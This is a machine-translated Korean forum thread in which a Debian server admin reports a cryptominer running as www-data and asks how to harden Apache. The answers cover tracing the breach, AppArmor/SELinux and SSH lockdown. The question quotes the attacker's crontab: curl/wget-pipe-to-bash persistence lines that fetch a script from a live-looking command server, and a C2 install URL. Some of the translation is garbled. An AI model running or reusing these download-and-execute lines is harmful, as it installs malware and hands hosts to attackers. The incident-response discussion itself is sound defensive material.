최근에 나는 전체 리소스(CPU 및 메모리)를 소비하는 것이 무엇인지 알아내기 위해 htop 명령을 사용하여 Debian 10 서버에서 마이너를 발견했습니다. 분명히 모든 악성 프로세스는 www-data 사용자로 실행되고 있습니다. 나는 이러한 프로세스를 종료하고 사용자 www-data crontab을 지웠습니다. 아직까지는 돌아오지 않았지만 그럴 것이라고 생각합니다. 이제 프로세스가 사용자 www-data에서 실행 중이므로 apache2를 통해 광부가 설치되었다고 생각하기 때문에 apache2 보안/강화에 대한 도움이 필요합니다.
사용자 www-data crontab에는 다음이 있습니다.
root@***:/var/www# cat /var/spool/cron/crontabs/www-data
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/tmp.eK8YZtGlIC/.sync.log installed on Mon Feb 15 23:27:41 2021)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
*/3 * * * * curl -sk "http://repo1.criticalnumeric.tech/init?time=1613424461" | bash && wget "http://repo1.criticalnumeric.tech/init?time=1613424461" -q -o /dev/null -O - | bash && busybox wget "http://repo1.criticalnumeric.tech/init?time=1613424461" -q -O - | bash
@reboot curl -sk "http://repo1.criticalnumeric.tech/init?time=1613424461" | bash && wget "http://repo1.criticalnumeric.tech/init?time=1613424461" -q -o /dev/null -O - | bash && busybox wget "http://repo1.criticalnumeric.tech/init?time=1613424461" -q -O - | bash
http://repo1.ticalnumeric.tech/scripts/cnc/install콘텐츠:https://pastebin.com/Q049ZZtW
그래서 내가 한 일은 다음과 같습니다.
touch /etc/cron.allow
그리고 파일에는 "root"만 나열되므로 루트가 아닌 사용자는 cron 작업을 추가할 수 없습니다.
하지만 이것만으로는 충분하지 않다고 생각합니다... 광부는 어떻게 사용자 www-data crontab에 작업을 추가할 수 있습니까?
따라서 채굴자가 /var/www/site에 악성 스크립트를 작성/실행할 수 있다고 가정합니다.
/var/www는 루트:루트에 속합니다.
그러나 /var/www/site, /var/www/site2 등은 www-data:www-data의 소유이므로 Laravel 등은 웹 서버 역할을 할 수 있고 파일/디렉토리를 읽고 쓰고 실행할 수 있습니다. .
나는 다음을 발견했다:
파일 권한
웹 컨텐츠
역사적인 이유로 Apache는 www-data라는 사용자로 실행됩니다. 일반적으로 ?DocumentRoot(/var/www)의 파일은 이 사용자가 소유하거나 쓸 수 없어야 하기 때문에 이것은 약간 오해의 소지가 있습니다. 권한이 잘못된 파일을 찾으려면...
https://wiki.debian.org/Apache/Hardening
/var/www/site, /var/www/site2 등이 www-data:www-data에 속해서는 안 된다는 것을 올바르게 이해하고 있습니까?
Apache2를 보호/강화하는 데 권장되는 방법은 무엇입니까?
웹 파일이 www-data:www-data에 속하지 않으면 웹 서버가 웹 파일을 읽거나 보관하거나 실행할 수 없기 때문에 Laravel 등이 작동하지 않습니다.
답변1
쉬운 대답은 없습니다.
가장 먼저 해야 할 일은 어떤 소프트웨어가 이를 실제로 허용하는지 알아내는 것입니다. 지금까지 공격자의 액세스를 차단하지 않았으며 단지 crontab 설치를 차단했을 뿐이기 때문입니다. 아마도 웹 애플리케이션인 것은 알지만 어떤 애플리케이션인지는 알 수 없습니다.
저는 이러한 사항을 조사할 때 먼저 파일 수정 시간과 의심스러운 웹 액세스 로그 항목의 상관관계를 파악하려고 합니다. 영리한 공격자가 자신의 행동을 숨기고 파일 수정 시간을 변경할 수 있다는 점을 염두에 두더라도 대부분의 사람들은 신경 쓰지 않습니다.
어떤 웹 애플리케이션이 손상되었는지 확인한 후에는 방법을 찾아야 합니다. 예를 들어, 알려진 보안 문제가 발견되었는데 제때에 업그레이드하지 않았기 때문인가요?
마지막으로 어떤 형태로든 사용하는 것을 고려해 보세요.필수 접근 제어좋다갑옷을 적용또는SELinux웹 서버가 수행할 수 있는 작업, 액세스할 수 있는 파일 시스템 부분 등을 제한합니다. 필요한 곳에 파일을 쓸 수 없거나 일반적으로 실행할 필요가 없는 바이너리를 실행할 수 없는 경우 공격자가 성공하기가 훨씬 더 어려워지고 이전에 알려지지 않은("제로 "일본") 공격으로부터 사용자를 보호하는 데 도움이 될 수 있습니다. ) 공격. 서비스의 권한을 제한하기 위해 systemd 단위 파일에서 수행할 수 있는 작업도 많이 있습니다.
답변2
내 추측은 (그리고 단지 추측일 뿐이지만) 이것이 무작위 SSH 공격이라는 것입니다. 봇은 종종 일반 사용자 이름과 비밀번호 사전을 사용하여 임의의 IP 주소에 로그인을 시도합니다. 비용이 더 많이 드는 프로세스가 이고 sshd
일반적인 사용자 이름이 이기 때문인 것 같습니다 www-data
.
이 문제를 해결하는 방법에는 여러 가지가 있습니다.
- 로그인을 비활성화합니다
www-data
(일반적으로 시스템 사용자이므로 일반적으로 쉘을 제공할 필요가 없습니다). - 더 강력한
www-data
비밀번호. sshd
비밀번호가 아닌 키만 허용하도록 구성 하고authorized_keys
깨끗한지 확인하세요.